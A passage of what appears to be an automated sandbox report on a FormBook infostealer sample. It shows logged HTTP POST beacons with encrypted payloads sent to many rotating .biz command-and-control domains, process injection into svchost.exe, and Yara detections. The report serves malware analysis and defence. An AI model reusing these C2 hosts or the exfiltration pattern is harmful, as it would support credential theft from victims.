Jan 11, 2025 02:50:02.351593018 CET	874	OUT	Data Raw: 8d 9e 44 73 6f 11 de 0d 5e 03 00 00 47 86 b0 ed d2 b2 12 61 5c 34 2c b5 de f5 e9 8b b5 ff e1 d7 d1 a7 63 60 ee ca 68 4b a9 24 51 d9 eb 63 82 e2 be 22 2c a1 f0 39 a5 51 1c fe d3 ca 9f b1 a2 6c 1b 08 45 3b 8d ff be db c3 60 f7 21 21 e8 35 8d 10 10 Data Ascii: Dso^Ga\4,c`hK$Qc",9QlE;`!!5a/XiSFWX7=yM5E#CRU9J_u`8Nw)'M(@,{+qd;c7,zkgS6<Tc~KG/j
Jan 11, 2025 02:50:03.071651936 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8b1ca85f03e9615bf9eadc758bed3772\|8.46.123.189\|1736560202\|1736560202\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:06.453170061 CET	345	OUT	POST /a HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:06.453217030 CET	874	OUT	Data Raw: 71 99 3f 22 66 7f 77 f8 5e 03 00 00 05 e6 07 1a 73 15 37 78 6c c3 f8 b9 07 0c b5 9a 5a 8f cf e3 82 c6 f2 b6 e4 99 2f a5 d4 78 8d 5a 05 4a b3 4d b8 d7 7e ce 3c 9b 3d 01 ce ae 55 56 52 46 99 ea 21 8f 44 88 89 7e ab 93 1a fb ca 04 e9 2a 30 65 5a 23 Data Ascii: q?"fw^s7xlZ/xZJM~<=UVRF!D~*0eZ#3/yCH6sBWH@SxnN{\|my (!}bLxbtH^E4#Qpdq3:V#V,%/nN[>5V+v}1YIkF]=kO~?=oSf]
Jan 11, 2025 02:50:07.822432041 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4cbbbd81f41ff5871a96d92571e5d708\|8.46.123.189\|1736560207\|1736560207\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:08.015928984 CET	357	OUT	POST /mygkicdwtcska HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:08.015949011 CET	874	OUT	Data Raw: ac 0f c0 d0 26 c0 91 f0 5e 03 00 00 b5 f3 70 20 43 b1 cf e0 8a 33 b0 bd d3 a3 22 f3 31 aa 5f 87 c8 72 8b d5 8b ba a1 dd 7c f6 6c ce 62 4c 70 a4 7f 4c 56 c9 fd 70 d4 50 5a fe 0e aa 24 ee e3 4c f4 ce 05 21 8a f9 41 ec 50 e1 7f 37 5e 1b 92 ae 2b b4 Data Ascii: &^p C3"1_r\|lbLpLVpPZ$L!AP7^+$$1KGp=`5BKdBJ{by"}zRQT,3`h9p<\hjOeIegnZlhYj2?00OpRoJ
Jan 11, 2025 02:50:09.399013996 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9e26fe48445e9284a5a5b3a1761b633b\|8.46.123.189\|1736560209\|1736560209\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:43.742433071 CET	358	OUT	POST /eicnkswtpuoihir HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:43.742461920 CET	874	OUT	Data Raw: b4 78 c5 be 26 27 e9 03 5e 03 00 00 a7 0b 3e c9 0b 2f 24 a0 db 96 5e c1 ea 57 62 a6 bc 97 ad 9a 8a 97 84 29 a4 c8 5a 63 6e 44 52 ae 2d 53 e2 02 db fb 38 cd 1f ad 78 42 0e 4f 96 1c 76 30 fb 21 94 06 47 f9 ca 89 e8 06 27 10 b7 46 2c 0c 20 92 d8 1a Data Ascii: x&'^>/$^Wb)ZcnDR-S8xBOv0!G'F, @xc0` nussc'&g0R`l'OdAZ0o(M&zCmz"`z3fm;s_>L1P#yUL1mo
Jan 11, 2025 02:50:45.119539022 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fea0ab05360ae207ae67092ffa1c0cbd\|8.46.123.189\|1736560244\|1736560244\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49784	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:53.347573042 CET	357	OUT	POST /jhjqfhvnwcnnm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:53.347711086 CET	874	OUT	Data Raw: b3 78 70 de 00 09 90 4b 5e 03 00 00 e9 6e 43 b6 93 05 d5 52 3d 76 56 8a 33 02 8f 05 a6 25 15 ef ec 23 e4 5a 90 18 cb f6 e0 79 a4 78 8e f0 33 63 98 fd bc 6c f7 52 a9 20 ef 14 07 2f 5d bc 0e c2 b9 66 0b 2f 38 79 aa 29 ae 9d 79 3a 33 e2 ae 96 58 0a Data Ascii: xpK^nCR=vV3%#Zyx3clR /]f/8y)y:3Xu=ak96#gR=%RTap\|.SN3r"b}f30SK/^J+U:A(X,v \x]2m05(wMe!c0]A?_0)p
Jan 11, 2025 02:50:54.054244995 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cf829eec168a0e99f7a2696966ce388d\|8.46.123.189\|1736560253\|1736560253\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49814	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:50:57.707410097 CET	361	OUT	POST /jetrwdoymgqweqlr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:50:57.707427025 CET	874	OUT	Data Raw: a9 b2 3b a0 a2 79 10 e8 5e 03 00 00 f2 77 01 d6 22 2a ad a5 c1 6c b4 67 c9 b6 82 40 b4 3e 58 1c 41 30 2d 58 a4 52 1a e8 1f 88 fb 3d 40 26 db 84 e2 ed a5 a0 f0 f0 3f 00 95 8c b1 18 c3 b1 a1 ba 73 ba 39 66 3d 51 ca 95 86 e8 c2 ee 4d 5f 0a 54 51 df Data Ascii: ;y^w"lg@>XA0-XR=@&?s9f=QM_TQ!{eCoRnM}]'l;F1S3qxbLM[.H-Q&UNXYb1C,H{Ui~Gl9YZ@A_z!JKM,2 k4
Jan 11, 2025 02:50:58.435395956 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:50:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f2a122b1141397bc7b35af99bf53c842\|8.46.123.189\|1736560258\|1736560258\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49830	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:00.352384090 CET	347	OUT	POST /hnk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:00.352397919 CET	874	OUT	Data Raw: 80 44 2c 09 23 74 92 3a 5e 03 00 00 20 fe 84 e5 2b 1f 14 af 5d 19 d3 83 ad 3e a3 ed cf 7c 34 0e ff 3e 39 fc 45 ee 04 ec a2 b8 32 6c f4 e2 78 85 82 11 11 6d 0b e2 5f c9 31 1e 8d 1f 5b 45 2b a3 cf c8 77 e0 60 f8 87 ad 55 de 7a 8b 26 2d 95 ac 08 9e Data Ascii: D,#t:^ +]>\|4>9E2lxm_1[E+w`Uz&-QlgY7&L1 .,B"7,4^@r-<oP~kq%HUm"E4~`#'+Nk7<q!\}u\$UC*phg)L
Jan 11, 2025 02:51:01.113457918 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=82c2cee1488aa6bf6d2e41cd2c35ba1d\|8.46.123.189\|1736560261\|1736560261\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49838	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:01.340063095 CET	350	OUT	POST /wxwlgro HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:01.340074062 CET	874	OUT	Data Raw: a4 43 4f 23 a8 47 4f 39 5e 03 00 00 fe 21 13 e1 40 dd 66 23 ab 34 0a d3 83 9e ec 19 95 45 e3 43 49 1e ad 7c cf d1 0a 7f 48 43 b7 7b 05 6e 0a 3c 32 0e ab da 8a 6c 7c 99 38 da a2 c0 85 bc 2e 2d ed 94 93 63 95 42 40 09 cc bf d9 f4 0b e2 ab 9d 90 0c Data Ascii: CO#GO9^!@f#4ECI\|HC{n<2l\|8.-cB@?PGWFW<MBc;k~Nfg_ig,U:~[Bdo%VrX{^b0y]Uxw\1c]f&jM?+y\ kEW+(
Jan 11, 2025 02:51:02.717515945 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8edf19648247c603f9925ec4a1012540\|8.46.123.189\|1736560262\|1736560262\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49861	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:04.814688921 CET	355	OUT	POST /cvgvkeodaeo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:04.814711094 CET	874	OUT	Data Raw: 78 63 bd 95 c8 a8 8d 80 5e 03 00 00 cd be 3b 2f ce 65 11 87 86 9f 59 3b 9f 4b d1 92 69 a3 83 71 1b c1 1d 11 88 55 42 d1 d4 3a 12 d6 ba 1d de 57 5c e5 53 94 5d 7c 72 15 fd 15 d9 d7 e7 7f d3 b3 d0 db 76 d4 a5 d6 ab 77 09 95 1c c1 58 34 07 b1 ec 29 Data Ascii: xc^;/eY;KiqUB:W\S]\|rvwX4)?jNGKy*+^O#_8{}!V?{/c+hm^8f,'D~(kQ41?vW{/+};'m-R<%Pm
Jan 11, 2025 02:51:06.198239088 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=394396800696cbda00453a5749ffb968\|8.46.123.189\|1736560265\|1736560265\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50029	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:28.522826910 CET	351	OUT	POST /wdqbfpac HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: warkcdu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:28.522828102 CET	874	OUT	Data Raw: 57 6b 06 9a e2 71 3f 53 5e 03 00 00 9f 25 bf 45 4e d2 3e c9 97 33 2f 4b 3d fd f5 9e b9 ab 9b f5 4f 8c 3a 77 3e 2e df fa fe 09 6f fb f2 0b 18 e1 1f 4c 85 99 61 8c 1e aa 6b 64 37 d8 4c a4 3f 64 66 54 72 5d a1 f5 23 44 f3 e7 d7 6a 28 9a 2e b5 a1 1a Data Ascii: Wkq?S^%EN>3/K=O:w>.oLakd7L?dfTr]#Dj(.Mx\(U}{Y+\|$j)DA3QBs%_^+*ot!>'5,z92BK^"G@hdWsw=wTakKUctcE~0FxYF_0
Jan 11, 2025 02:51:29.895215034 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=412eb2087702cbbf2a98a66dbafee1a3\|8.46.123.189\|1736560289\|1736560289\|0\|1\|0; path=/; domain=.warkcdu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50068	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:55.087930918 CET	349	OUT	POST /tebnqgy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rynmcq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:55.087943077 CET	874	OUT	Data Raw: 06 27 a8 ab 7c 27 bd 69 5e 03 00 00 0e 08 6f 06 37 aa b8 1c 73 15 48 0b d6 66 f5 70 a6 75 c6 c2 e6 78 f4 2d f3 0c e3 6c 9a 51 6c e9 8a 7b 7f 1b 06 ef bf 83 09 22 8a f8 57 06 bb 32 cb 47 35 5a c2 45 db 10 9f 49 93 9b ac 92 2e 71 3f 3f 7b 0e 76 47 Data Ascii: '\|'i^o7sHfpux-lQl{"W2G5ZEI.q??{vGqNv4\|0J4}}11f@b4F;wfW=@T8ikUdJ4wM+/'*X/!pQQOdqpcL,877'WfTS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50069	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:55.651063919 CET	356	OUT	POST /lglaocayhhpbni HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rynmcq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:55.651084900 CET	874	OUT	Data Raw: 7d aa 75 09 a3 48 ab 7b 5e 03 00 00 3f 0f 9f 91 57 e5 09 77 16 6d ae f5 79 02 51 7c af 34 26 ae 22 18 fd 55 d9 bc 86 e2 c3 cd af da 9b b8 bd e5 99 86 cd f6 e0 8e 0c 10 57 57 76 29 c6 f3 4c bf b9 78 1b 7b a7 7a 7f 43 b3 0d 0f 56 f4 01 6f d5 27 5f Data Ascii: }uH{^?WwmyQ\|4&"UWWv)Lx{zCVo'_o6pM5W4Rd*~^HoyK7\|4+&e8<Y@'1]Q,7Rs>MkDuVt;=`~ki(Lm\|q ^69GH"JKms@A
Jan 11, 2025 02:51:56.363780975 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=15ab54c852d5c72727d40344700e8b65\|8.46.123.189\|1736560316\|1736560316\|0\|1\|0; path=/; domain=.rynmcq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50071	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:58.289725065 CET	353	OUT	POST /bjgvdeudf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 874
Jan 11, 2025 02:51:58.289741993 CET	874	OUT	Data Raw: 0c d1 d2 91 ff df 34 04 5e 03 00 00 80 dc c0 d0 dc 53 33 ed fd ea 51 7e c9 e1 7d 76 e4 1a 8b ee 1d aa d2 82 b7 75 55 77 f6 93 fc 1c d1 7c 03 f6 6f 13 20 65 d6 57 6b 02 3e e4 3e 23 82 34 9c b5 cd 10 3b d3 e3 c4 f2 93 5a e0 29 cc c7 c0 35 e4 06 3d Data Ascii: 4^S3Q~}vuUw\|o eWk>>#4;Z)5=b^Q\|l@LETbubBn9)g\|N9HDfiL.Ahp~Vk^H;T)KIR_o2B5Gi"t[,GdzNLbeqaP54,5L<P`iTF
Jan 11, 2025 02:51:59.657460928 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 01:51:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=da1bd7d99d0fc9eb3856877a718868f2\|8.46.123.189\|1736560319\|1736560319\|0\|1\|0; path=/; domain=.eufxebus.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:49:52
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\BzK8rQh2O3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BzK8rQh2O3.exe"
Imagebase:	0x400000
File size:	1'801'216 bytes
MD5 hash:	DE74305F29857F83BC99D71524A8842B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:49:53
Start date:	10/01/2025
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'658'880 bytes
MD5 hash:	224A86FD89B67F5874BE745F454A29D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:49:53
Start date:	10/01/2025
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'594'368 bytes
MD5 hash:	AFF3175576D4CDBFB3592C3E3BEE84D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:49:55
Start date:	10/01/2025
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	20:49:55
Start date:	10/01/2025
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:49:55
Start date:	10/01/2025
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:49:55
Start date:	10/01/2025
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	DCB9DA31B5D9BF73EFE42CD201A3C555
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:49:58
Start date:	10/01/2025
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	BD4426E495F8ADB5F861A87A8F767BF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:49:58
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BzK8rQh2O3.exe"
Imagebase:	0x3f0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:50:00
Start date:	10/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	01AF1FD4DAF4AD21FE19952B19C40DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	20:50:01
Start date:	10/01/2025
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'725'440 bytes
MD5 hash:	FF9BB8830745BF559EF36B064C54358D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	97.7%
Signature Coverage:	9.1%
Total number of Nodes:	88
Total number of Limit Nodes:	1

Executed Functions

Function 00760080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 007603E0

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
